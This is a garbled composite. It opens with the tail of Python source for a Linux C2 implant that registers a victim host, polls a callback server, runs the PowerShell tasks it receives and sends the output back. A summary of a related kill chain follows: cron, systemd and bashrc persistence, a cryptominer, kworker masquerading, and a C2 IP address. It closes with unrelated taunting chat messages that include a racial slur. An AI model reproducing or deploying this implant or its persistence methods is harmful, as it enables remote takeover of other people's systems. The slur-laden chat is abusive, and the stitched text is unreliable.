@staticmethod
def _os_version():
try:
with open("/etc/os-release") as f:
for line in f:
if line.startswith("PRETTY_NAME="):
return line.split("=", 1)[1].strip().strip('"')
except Exception:
pass
return f"Linux {os.uname().release}"

def log(self, msg):
print(f"[{datetime.now().strftime('%H:%M:%S')}] {msg}", flush=True)

# ---------------- protocol ----------------
def register(self):
buf = bytearray()
w_string(buf, self.build)
w_string(buf, self.host_id)
w_string(buf, "x64")
w_string(buf, self.session_id)
w_string(buf, self._fqdn())
w_string(buf, self._os_version())
w_string(buf, self.username)
w_string(buf, self.path)
w_int32(buf, self.pid)
w_timespan(buf, self.interval)
w_timespan(buf, self.window)
w_datetime(buf, self.expiration)
body = gzip.compress(bytes(buf))

resp = self.http.post(f"{self.url}/threads/{self.session_id}/register",
data=body, timeout=30)
if resp.status_code != 200:
raise RuntimeError(f"register failed: HTTP {resp.status_code} "
f"{resp.text[:200]}")
self.registered = True
self.log(f"registered session={self.session_id}")
return self._parse_tasks(resp.content)

def get_tasks(self, next_checkin):
offset_ms = max(0, int((next_checkin - datetime.now(timezone.utc)).total_seconds() * 1000))
resp = self.http.get(
f"{self.url}/threads/{self.session_id}/messages?filter={offset_ms}",
timeout=max(30, offset_ms / 1000 + 30))
if resp.status_code == 404:
raise SessionTerminated()
if resp.status_code != 200:
raise RuntimeError(f"poll failed: HTTP {resp.status_code}")
return self._parse_tasks(resp.content)

@staticmethod
def _parse_tasks(content):
if not content:
return []
try:
raw = gzip.decompress(content)
except Exception:
return []
if len(raw) < 4:
return []
count, off = r_int32(raw, 0)
tasks = []
for _ in range(count):
task_id, off = r_string(raw, off)
script, off = r_string(raw, off)
bg, off = r_bool(raw, off)
text_only, off = r_bool(raw, off)
tasks.append({"id": task_id, "script": script,
"background": bg, "text_only": text_only})
return tasks

def run_task(self, task):
script = task["script"]
self.log(f"task {task['id'][:8]} running ({len(script)} chars)")
results, errors = "", []
try:
proc = subprocess.run(
["pwsh", "-NoProfile", "-NonInteractive", "-Command",
f"& {{ {script} }} | ConvertTo-CliXml"],
capture_output=True, text=True, timeout=TASK_TIMEOUT)
results = proc.stdout or ""
if proc.returncode != 0 and proc.stderr:
errors.append({"type": "RuntimeException",
"message": proc.stderr.strip()[:2000],
"position": "", "line": "", "count": 1})
except subprocess.TimeoutExpired:
errors.append({"type": "TimeoutException",
"message": f"timed out after {TASK_TIMEOUT}s",
"position": "", "line": "", "count": 1})
except FileNotFoundError:
errors.append({"type": "FileNotFoundException",
"message": "pwsh not found. Install PowerShell 7 on the target.",
"position": "", "line": "", "count": 1})
except Exception as e:
errors.append({"type": type(e).__name__, "message": str(e),
"position": "", "line": "", "count": 1})

buf = bytearray()
w_string(buf, task["id"])
w_string(buf, results)
w_int32(buf, len(errors))
for err in errors:
w_string(buf, err["type"])
w_string(buf, err["message"])
w_string(buf, err["position"])
w_string(buf, err["line"])
w_int32(buf, err["count"])
w_string(buf, "")
return gzip.compress(bytes(buf))

def post_results(self, payload):
resp = self.http.post(f"{self.url}/threads/{self.session_id}/messages",
data=payload, timeout=120)
if resp.status_code == 404:
raise SessionTerminated()
resp.raise_for_status()
self.log("results posted")

def post_errors(self, messages):
buf = bytearray()
w_int32(buf, len(messages))
for m in messages:
w_string(buf, m.get("type", "Exception"))
w_string(buf, m.get("message", ""))
w_string(buf, m.get("position", ""))
w_string(buf, m.get("line", ""))
w_int32(buf, m.get("count", 1))
try:
self.http.post(f"{self.url}/threads/{self.session_id}/notes",
data=gzip.compress(bytes(buf)), timeout=30)
except Exception:
pass

# ---------------- main loop ----------------
def run(self):
while True:
try:
if not self.registered:
tasks = self.register()
for t in tasks:
self._handle(t)
time.sleep(1)
continue

next_checkin = datetime.now(timezone.utc) + timedelta(
seconds=self.interval + random.uniform(0, self.window))
tasks = self.get_tasks(next_checkin)
for t in tasks:
self._handle(t)

sleep_for = max(1, (next_checkin - datetime.now(timezone.utc)).total_seconds())
time.sleep(sleep_for)
except SessionTerminated:
self.log("session terminated by server; exiting")
return
except requests.exceptions.RequestException as e:
self.log(f"network error: {e}")
self.registered = False
time.sleep(self.interval)
except Exception as e:
self.log(f"error: {e}")
time.sleep(self.interval)

def _handle(self, task):
try:
self.post_results(self.run_task(task))
except SessionTerminated:
raise
except Exception as e:
self.log(f"task error: {e}")


def main():
ap = argparse.ArgumentParser(description="SpecterInsight Linux implant")
ap.add_argument("--url", default=os.environ.get("SX_URL", ""),
help="C2 callback URL, e.g. https://1.2.3.4:46722")
ap.add_argument("--build", default=os.environ.get("SX_BUILD", ""),
help="Build name (must not be 'default')")
ap.add_argument("--interval", type=int,
default=int(os.environ.get("SX_INTERVAL", "5")))
ap.add_argument("--window", type=int,
default=int(os.environ.get("SX_WINDOW", "5")))
args = ap.parse_args()

if not args.url or not args.build:
print("ERROR: --url and --build are required (or set SX_URL / SX_BUILD)")
sys.exit(1)
if args.build == "default":
print("ERROR: build 'default' is rejected by the server from non-loopback "
"addresses. Create a custom build (e.g. 'linux') and use that name.")
sys.exit(1)

implant = Implant(args.url, args.build, args.interval, args.window)
implant.log(f"implant starting host={socket.gethostname()} build={args.build}")
implant.log(f"callback: {args.url}")
implant.run()


if name == "__main__":
main()

persist.sh — Full Kill Chain
Dropper: Runs sx.sh to install the implant
Cron persistence: Adds @reboot crontab entry
Systemd persistence: Creates ~/.config/systemd/user/systemd-helper.service
Shell persistence: Appends loader to ~/.bashrc
Root escalation: If running as root, installs system-level cron + systemd
Cryptominer: Downloads java or java-musl (glibc/musl detection) and runs it with hourly cron
dedup.sh / dedup2.sh — Self-Healing
Scans /proc/*/exe for implant paths (/tmp/.sx*, .cache/.sx*, etc.)
Kills all duplicate implant processes
Reinstalls a fresh copy from C2
dedup2.sh uses setsid to avoid killing itself during cleanup
C2 Server
IP: 207.57.122.131
Port 8085: Serves Linux payloads
Port 46721: Serves Windows payloads (from the git exploit script)
Implant Binary (sx_linux)
Statically linked ELF (no dependencies — runs anywhere)
Masquerades as [kworker/0:2] (kernel worker thread)
Contains strings: TracerPi, /pwsfA

C2 Server: 207.57.122.131
Field Value
IP 207.57.122.131
Upstream Provider NTT America, Inc.
Customer NEBULA GLOBAL LIMITED
Address Unit 1507C, 15/F Eastcore, 398 Kwun Tong Road, Hong Kong
Abuse Email abuse@ntt.net
Abuse Phone +1-877-688-6625
Ports 8085 (Linux payloads), 46721 (Windows payloads)

go ahead and send a report

fucking bum ass clown 😂️️️️️️

get you payload and shit leaked

im adding email verification to make it harder for the retarded nigger so make a email with cock.li or something u bums

im gonna be working on maculab.dev all night so go ahead and make change suggestions

i intend to be more active on telegram for the next couple days so feel free to dm me @clientmaxxing

fuck the email shit im lazy

lmao who ever botted ts funny asf

join @communenews if u cool its owned by a cutie @severring

352 what a bunch of good boys

i didnt know who i was promoing i am sorry the post has been deleted and i will make no more ads with him in it or someone attached with him

Who?